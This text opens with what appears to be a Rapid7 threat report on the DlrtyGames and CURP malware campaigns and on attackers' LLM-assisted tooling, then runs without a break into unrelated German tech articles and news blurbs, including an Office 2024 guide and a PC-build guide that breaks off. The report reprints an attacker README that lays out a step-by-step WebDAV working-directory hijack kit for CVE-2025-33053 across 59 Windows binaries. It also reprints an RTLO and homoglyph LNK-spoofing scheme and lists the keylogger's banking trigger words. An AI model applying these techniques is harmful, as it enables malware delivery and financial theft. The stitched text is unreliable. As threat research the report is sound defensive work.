The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.

⠀

Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.

The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.

The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest. 

The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.

The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.

GenAI adoption

Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content.

═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.

Figure 7: Context of README.md found in the exposed directory.

The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:

⠀
It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.

Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.

⠀

⠀

The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.

The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.

# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.<method>.<trick>.<spoof>.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`<spoof>`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...

Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.

OPSEC is hard 

As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”

⠀

The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.

The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.

Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.

We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.

Delivery panel overview

The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.

⠀

The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).

We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.

The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.

Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.

The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.

Table 3: Geographic distribution of WebDAV delivery activity.

Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.

Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.

By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.

Protocol behavior

The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.

Table 4: HTTP methods observed in WebDAV delivery traffic.

Table 5: HTTP status codes observed in WebDAV delivery traffic.

MITRE ATT&CK techniques

Indicators of compromise (IOCs)

CURP campaign

Phishing page: hxxps://gobf[.]mx

WebDav server: onedrive[.]cv

ReportFinal.<RLO>.scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7

C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888

Domain: google.services[.]ug

Campaign tag:06x12x2026SantaEbash2 (v4.4.3)

Schedule tasks: brokerhost, net_queue_32

Staging paths:

%TEMP%\is-XXXXX.tmp\Fo-Binary.exe

%AppData%\Roaming\inttracer_i686_prod\

C:\ProgramData\inttracer_i686_prod\

DlrtyGames campaign

C2: 23[.]94[.]252[.]228:57666

JA3: fc54e0d16d9764783542f0146a98b300

DlrtyGames.exe

SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268

discord-rpc.x64.dll

SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df

profiler16.dll

SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9

loader-pool.db

SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b

.NET RAT

SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923

Staging paths:

C:\ProgramData\basenet\

%APPDATA%\basenet\

Persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW

\com_app_bg_i686

\messenger_component_v8_32_rc

More indicators of compromise can be found on Rapid7’s GitHub.

Rapid7 customers

Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.

Conclusion

The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.

The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. 

While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.

The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.

Der Beitrag KI-Richtlinie im Unternehmen: So regeln Sie den Einsatz von ChatGPT, Copilot und Co. erschien zuerst auf WinTotal.de.

This week in AI was absolutely insane.

OpenAI officially launched GPT-5.6 with its new Sol, Terra, and Luna model lineup, unveiled powerful multi-agent capabilities, and even claimed an AI-generated proof for a 50-year-old unsolved mathematics problem. But that's just the beginning. In this video, we cover GPT-5.6, Sol Ultra, AI training another AI, Grok 4.5, Meta's Muse Spark, ByteDance's Seedream 5.0 Pro, China's MiniMax open-source AI, DeepSeek's custom AI chip, Claude Code controversy, and the groundbreaking Orca world model from the Beijing Academy of AI. If you want to stay ahead of the AI industry with the biggest breakthroughs, news, chips, robotics, and future technologies all in one place, this weekly roundup is for you.

#GPT56 #OpenAI #ArtificialIntelligence #AI #Grok #Meta #DeepSeek #Technology

The post Build an Agentic Event Venue Operator with MongoDB Atlas, Voyage, and LangGraph appeared first on MarkTechPost.

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The post Why OpenAI Is Selling a $70 ChatGPT Basketball appeared first on TechRepublic.

Ab Oktober 2026 gibt es für Office 2021 keine Sicherheitsupdates mehr. Zwei Wege führen weiter. Der Einmalkauf von Office 2024 sichert eine dauerhafte Lizenz, das Abo Microsoft 365 liefert laufend neue Funktionen und Cloudspeicher. Die Wahl hängt vom Nutzungsprofil ab.

Der Support für Office 2021 und Office LTSC 2021 endet am 13.10.2026. Die Programme starten danach weiter, doch für neu entdeckte Sicherheitslücken liefert Microsoft keine Patches mehr.

Zwei unterstützte Wege stehen bereit. Der Einmalkauf von Office 2024 läuft mit Sicherheitsupdates bis Oktober 2029, das Abomodell Microsoft 365 kostet ab 99,00 Euro pro Jahr und aktualisiert sich fortlaufend.

Office 2024 bringt neue Funktionen als Einmalkauf

Für Office 2024 zahlen Sie nur einmal und es läuft danach dauerhaft auf einem PC oder Mac. Neue Funktionen kommen nicht hinzu, Microsoft liefert für den gesamten Zeitraum nur Sicherheitsupdates.

Ein vergünstigtes Upgrade von einer Vorgängerversion gibt es nicht, der Wechsel von Office 2021 verlangt einen Neukauf. Vor der Einrichtung deinstallieren Sie die alte Version über “Einstellungen” -> “Apps” -> “Installierte Apps”. Ihre vorhandenen Word-, Excel- und PowerPoint-Dateien bleiben vollständig kompatibel.

Gegenüber Office 2021 bringt die aktuelle Version mehrere Neuerungen mit. Excel erhält zusätzliche Funktionen, darunter GROUPBY, PIVOTBY, TEXTSPLIT, VSTACK und HSTACK, dazu Power Query in allen Editionen. PowerPoint blendet mit der Funktion Cameo den Live-Kamerafeed direkt in eine Folie ein. Outlook liegt als klassische Desktop-Version bei. Auf Windows 11 startet das Paket schneller und zeigt die überarbeitete Fluent-Oberfläche.

Ein Punkt sorgt oft für Missverständnisse. Office 2024 enthält kein Copilot. Die KI-Assistenz von Copilot bleibt den Microsoft-365-Abos vorbehalten. Office 2024 bietet verbesserte KI-gestützte Grammatik- und Suchwerkzeuge. Die volle Copilot-Funktion gehört zum Abo.

Christoph Hoffmann

Office 2024 rechnet sich für mehrere Anwendergruppen

Anwender mit Office 2016 oder Office 2019 sollten zügig wechseln, denn für beide Versionen liefert Microsoft bereits keine Updates mehr. Auch Nutzer von Office 2021 profitieren vom Umstieg, sofern sie das Paket über mehrere Jahre einsetzen und den Support bis 2029 mitnehmen möchten. Auf Windows 11 zahlt sich die aktuelle Version durch den schnelleren Start und die passende Oberfläche aus.

Für intensive Excel-Arbeit ergeben die neuen Funktionen einen konkreten Vorteil, denn GROUPBY und PIVOTBY verkürzen Auswertungen, die vorher mehrere Formeln verlangten.

Anwender mit vielen Präsentationen nutzen mit Cameo den eingebetteten Kamerafeed für Videokonferenzen und Aufzeichnungen. Anwender, die eine dauerhafte Lizenz bevorzugen und kein Abo zahlen möchten, treffen mit dem Einmalkauf die passende Entscheidung.

Microsoft

Office Home 2024 deckt die vier Kernprogramme ab

Office Home 2024, früher als Home & Student verkauft, umfasst Word, Excel, PowerPoint und OneNote. Outlook fehlt in dieser Edition. Die Lizenz gilt für einen PC oder Mac und deckt ausschließlich die private und schulische Nutzung ab, gewerbliche Rechte sind nicht enthalten.

Für Heimanwender, die Texte schreiben, Tabellen pflegen und Präsentationen bauen, reicht die Ausstattung aus. E-Mail lässt sich über den Browser oder eine separate Mail-App abwickeln. Erst der Bedarf an einem Outlook-Desktopprogramm oder an gewerblicher Nutzung führt zur nächsthöheren Edition.

Office Home & Business 2024 ergänzt Outlook und gewerbliche Rechte

Office Home & Business 2024 umfasst zusätzlich zu Word, Excel, PowerPoint und OneNote das Desktopprogramm Outlook für E-Mail, Kalender und Kontakte. Die Edition erlaubt außerdem die gewerbliche Nutzung, die Home 2024 lizenzrechtlich ausschließt.

Microsoft

Der Aufpreis lohnt sich für zwei Gruppen. Nutzer, die E-Mail, Termine und Kontakte in einem Outlook-Client verwalten, erhalten das passende Programm. Selbstständige und kleine Betriebe brauchen die gewerblichen Rechte, denn Home 2024 deckt nur den privaten Einsatz ab.

Der Umstieg von Home 2024 auf Home & Business 2024 läuft als Neukauf der höheren Edition, ein kostenloses Upgrade gibt es nicht. Ihre Dokumente und Einstellungen bleiben erhalten, die höhere Edition liest alle vorhandenen Dateien ohne Anpassung.

Microsoft 365 passt zu mehreren Geräten und Cloud-Nutzung

Microsoft 365 arbeitet als Abo und aktualisiert die Programme fortlaufend. Enthalten sind Word, Excel, PowerPoint, OneNote und Outlook, dazu Access auf dem PC. Das Abo bringt die Copilot-KI, 1 TB OneDrive-Speicher pro Person und die Installation auf mehreren Geräten mit, darunter PCs, Macs, Tablets und Smartphones.

Microsoft staffelt drei Varianten für Privatkunden. Microsoft 365 Single kostet 99,00 Euro pro Jahr für eine Person, Microsoft 365 Family 129,00 Euro pro Jahr für bis zu sechs Personen, Microsoft 365 Premium 219,00 Euro pro Jahr mit erweiterten Copilot-Funktionen. Die Preise gelten laut Microsoft-Store zum Stichtag 01.07.2026. Im Preisvergleich liegt das Single-Abo teils darunter, ab rund 74,00 Euro pro Jahr zum selben Stichtag.

Der Umstieg auf Microsoft 365 folgt dem Nutzungsprofil

Der Wechsel von Office 2024 zum Abo rechnet sich für mehrere Profile. Nutzer mit mehreren Geräten installieren die Programme auf PC, Mac, Tablet und Smartphone zugleich. Familien decken mit dem Family-Abo bis zu sechs Personen ab. Cloud-zentrierte Arbeit profitiert vom OneDrive-Speicher. Dazu kommen die Copilot-KI und laufend neue Funktionen.

Microsoft

Die Kostenfrage klärt eine einfache Rechnung. Office 2024 zahlen Sie einmal, Microsoft 365 Single kostet 99,00 Euro pro Jahr. Bei einem einzelnen PC, Offline-Nutzung und ohne Bedarf an Cloud oder Copilot rechnet sich der Einmalkauf über mehrere Jahre günstiger. Bei mehreren Geräten, gemeinsamer Familiennutzung und Cloud-Speicher gleicht das Abo die Kosten aus und liefert zusätzlich neue Funktionen.

Fazit

Office 2021 sollten Anwender vor dem 13.10.2026 ablösen, um weiter Sicherheitsupdates zu erhalten. Office 2024 sichert eine dauerhafte Lizenz für einen PC. Office Home 2024 reicht für private Text-, Tabellen- und Präsentationsarbeit, Office Home & Business 2024 ergänzt Outlook und die gewerblichen Rechte.

Microsoft 365 lohnt sich bei mehreren Geräten, gemeinsamer Familiennutzung, Cloud-Speicher und Copilot. Prüfen Sie Ihr Nutzungsprofil und Ihr Budget, dann führt jede Variante zu einer unterstützten und sicheren Office-Umgebung.

OpenAI hat mit ChatGPT Work einen KI-Agenten vorgestellt, der E-Mails lesen, Dokumente erstellen und komplette Arbeitsabläufe automatisieren soll. Damit verabschiedet sich das Unternehmen zunehmend von einem Chatbot für alle und richtet sich vor allem an Unternehmenskunden. Doch erste Nutzerreaktionen zeigen: Zwischen Versprechen und Realität klafft noch eine Lücke. Eine kommentierende Analyse. Was ist ChatGPT Work? […]

Der Beitrag ChatGPT Work: OpenAI baut seinen Chatbot in einen Büro-Agenten um erschien zuerst auf BASIC thinking. Folge uns auch auf Google News und Flipboard oder abonniere unseren Newsletter UPDATE.

Lange Zeit galten fallende Hardware-Preise als Naturgesetz: Wer ein paar Monate wartete, bekam mehr Leistung für weniger Geld. Mitte 2026 gelten diese Regeln leider nicht mehr. Der gigantische Hunger der Rechenzentren nach KI-Beschleunigern saugt die Produktionskapazitäten der großen Halbleiterfertiger leer – Besserung ist erst einmal nicht in Sicht. Für Endverbraucher bedeutet das: Wer jetzt einen neuen Desktop-PC braucht, sieht sich mit einem äußerst angespannten Markt konfrontiert.

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Gleichzeitig ist die technische Verlockung groß: Mit Nvidias Blackwell-Architektur (RTX 50-Serie) und AMDs effizienten Ryzen-9000-Prozessoren stehen technologische Schwergewichte in den Regalen, die einen massiven Leistungssprung versprechen. Lohnt sich also das Warten auf bessere Preise? Die klare Antwort lautet: Nein, zumindest nicht in absehbarer Zeit. Wer jetzt einen neuen PC braucht, muss nicht warten – sollte aber clever konfigurieren, um die aktuellen Stolpersteine der Industrie zu umschiffen.

Foundry

Drei Beispiel-Konfigurationen: Für jeden Anspruch das richtige Setup

Die strategischen Fragen sind geklärt, wir machen uns ans Eingemachte. In den folgenden drei Setups listen wir die besten Kernkomponenten für ein optimales Preis-Leistungsverhältnis auf. Um Ihnen maximale Flexibilität zu ermöglichen, nennen wir innerhalb der Konfigurationen unterschiedliche Komponenten: So können Sie je nach persönlicher Vorliebe gezielt den Preis beeinflussen, mehr Leistung herausholen oder zwischen AMD und Intel wechseln, wenn sich das sinnvoll anbietet.

Konfiguration 1: Der Office- und Alltags-PC

AMD

Konfiguration 1: Zuverlässigkeit, leiser Betrieb und strikte Budgetkontrolle

Fürs Home-Office, Webbrowsing und die gelegentliche Medienwiedergabe braucht es keine teure High-End-Hardware. Hier greift der erwähnte DDR4-Rettungsanker: Durch den bewussten Verzicht auf die neueste Plattform lassen sich Hunderte Euro sparen. Ein zusätzlicher Vorteil dieser Konfiguration ist ihre Zuverlässigkeit: Die Plattform ist ausgereift, günstig und bietet mehr als genug Leistung für typische Office- und Alltagsanwendungen.

• Preisrahmen: ca. 600 – 700 Euro (Kern-PC, zzgl. Peripherie & OS)

• Prozessor (CPU):
  • Standard: AMD Ryzen 5 5600G – Sechs Kerne und eine starke integrierte Grafikeinheit (iGPU). Keine extra Grafikkarte nötig.
  • Alternative: Intel Core i3-14100 – Reicht für reine Office-Arbeiten ebenfalls völlig aus. Wichtig: Achten Sie darauf, nicht aus Versehen die 14100F-Variante zu kaufen, weil dieser Version die Grafikeinheit fehlt.
• Mainboard: Gigabyte B550M DS3H (für AMD) oder Asus Prime B760M-K D4 (für Intel). Beide Boards setzen auf den günstigeren DDR4-Standard. Trotz des niedrigen Preises bieten sie alle wichtigen Anschlüsse für den Alltag, darunter schnelle USB-Ports, M.2-Steckplätze für NVMe-SSDs und genügend Erweiterungsmöglichkeiten für spätere Upgrades.
• Arbeitsspeicher (RAM): 16 GB DDR4-3200 (z.B. Patriot Memory Viper Elite II DDR4 2x8GB, CL18). Dieser Arbeitsspeicher ist für flüssiges Arbeiten und Multitasking völlig ausreichend. Selbst bei zahlreichen geöffneten Browser-Tabs, Videokonferenzen und Office-Anwendungen gleichzeitig geraten 16 GB nur selten an ihre Grenzen.
• Speicherplatz: 500 GB PCIe 4.0 NVMe SSD (z.B. Crucial P310 SSD 500GB M.2 NVMe). Die SSD sorgt für blitzschnelle Boot- und Zugriffszeiten. Wer viele Fotos, Videos oder große Dokumentensammlungen lokal speichert, sollte direkt zur 1-TB-Variante greifen.
• Gehäuse: Das Montech Air 100 ist ein kompaktes Micro-ATX-Gehäuse, das für rund 70 Euro vorbildlich verarbeitet ist. Es bietet ab Werk vorinstallierte Lüfter und eine Mesh-Front für leisen, kühlen Betrieb.
• Netzteil: Mit 450 Watt sind Sie in diesem Segment bestens bedient. Sie können zum Beispiel zum be quiet! System Power 11 450W greifen – das ist ein grundsolides und effizientes Netzteil, das mit seiner moderner ATX-3.1-Zertifizierung zukunftssicher ist. Weil bei diesem Setup keine separate Grafikkarte versorgt werden muss, bleiben die Leistungsreserven selbst unter Last komfortabel.
  
  

Konfiguration 2: Casual-Gaming und Videoschnitt-PC

Asus

Wer aktuelle Spiele flüssig genießen oder mit Adobe Premiere und DaVinci Resolve kreativ werden möchte, kommt um die aktuelle Hardware-Generation nicht herum – das beinhaltet aber auch den derzeit teuren DDR5-RAM. Dafür gibt es starke Leistung und hervorragende Effizienz.

• Preisrahmen: ca. 1.800 – 2.100 Euro (Kern-PC, zzgl. Peripherie & OS)

• Prozessor (CPU):
  • Standard: Der Intel Core Ultra 5 245KF bietet derzeit ein attraktives Preis-Leistungs-Verhältnis. Für rund 150 Euro liefert der moderne 14-Kerner reichlich Leistung für flüssiges 1440p-Gaming und anspruchsvolle Videoschnitt-Projekte.
  • Alternative: Der AMD Ryzen 7 9700X ist eine hocheffiziente 8-Kern-CPU von AMD. Sie verbraucht unter Volllast etwas weniger Strom und bietet beim Gaming minimale Vorteile, ist aktuell im Handel aber etwas teurer.
• Mainboard: Das Asus TUF Gaming Z890-Plus (für Intel) oder das MSI MAG B650 Tomahawk WiFi (für AMD). Beide bieten moderne PCIe-Slots und solide Kühlung für die Spannungswandler.
• Arbeitsspeicher (RAM): 32 GB DDR5-6000 CL30 Kit (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Angesichts der aktuellen Marktlage ist das eine Investition (450 Euro), die sich für flüssigen 4K-Videoschnitt und moderne Spiele aber auszahlt.
• Grafikkarte (GPU):
  • Standard: Nvidia GeForce RTX 5060 mit 8 GB (z.B. Asus Prime GeForce RTX 5060 8GB OC Edition). Diese Karte ist eine solide Wahl für klassisches 1440p-Gaming, die dank NVENC-Encoder sowie DLSS 4 auch für Content Creation gut geeignet ist. 8-GB-VRAM reichen für die meisten aktuellen Titel aus, können bei anspruchsvollen AAA-Spielen aber zum Flaschenhals werden. Für spürbar mehr Leistungsreserven im 1440p-Gaming können Sie auch zum Ti-Modell greifen (+ 80 Euro).
  • Preis-Alternative: AMD Radeon RX 9060 XT mit 8 GB (z.B. Gigabyte Radeon RX 9060 XT 8GB). Wer ein reines AMD-System bevorzugt, kann zu diesem aktuellen RDNA-4-Modell greifen. Für rund 300 Euro bietet sie hervorragende native Rasterleistung in 1440p und moderne KI-Upscaling-Features.
• Speicherplatz: 2 TB PCIe 4.0 NVMe SSD (z.B. WD_BLACK SN850X NVMe SSD). Moderne Videoprojekte sind äußerst speicherintensiv. Diese schnelle NVMe-SSD bietet reichlich Kapazität und sorgt für verzögerungsfreie Arbeitsabläufe.
• Gehäuse: Fractal Design North XL – ein echter Ästhetik-Hingucker. Mit einer Front aus Walnuss- oder Eichenholz fügt es sich elegant ins Zimmer ein. Dabei bietet es genug Platz und Airflow auch für Komponenten mit hoher Wärmeentwicklung.
• Netzteil: 750 Watt ATX 3.1 (z.B. Seasonic Focus GX ATX 3.1) – Dieses Netzteil bietet den modernen 12V-2×6-Anschluss für RTX-Karten und genügend Puffer für Leistungsspitzen.
  
  

Konfiguration 3: High-End-System für Gaming und Content Creation

Gigabyte

Dieses System ist für Enthusiasten konzipiert, die im Grafikmenü keine Kompromisse eingehen wollen. Hier zählt pure, ungebremste Leistung. Hinweis: Die große Preisspanne dieser Konfiguration ergibt sich vor allem durch die Wahl der Grafikkarte.

• Preisrahmen: 3.300 – 7.200 Euro (Kern-PC, zzgl. Peripherie & OS)

• Prozessor (CPU):
  • Standard: AMD Ryzen 9 9900X3D – Dank des aufgestockten 3D-V-Cache gehört diese CPU zu den schnellsten Gaming-Prozessoren überhaupt. Sie verspricht maximale Framerates auch in modernen und anspruchsvollen Spielen.
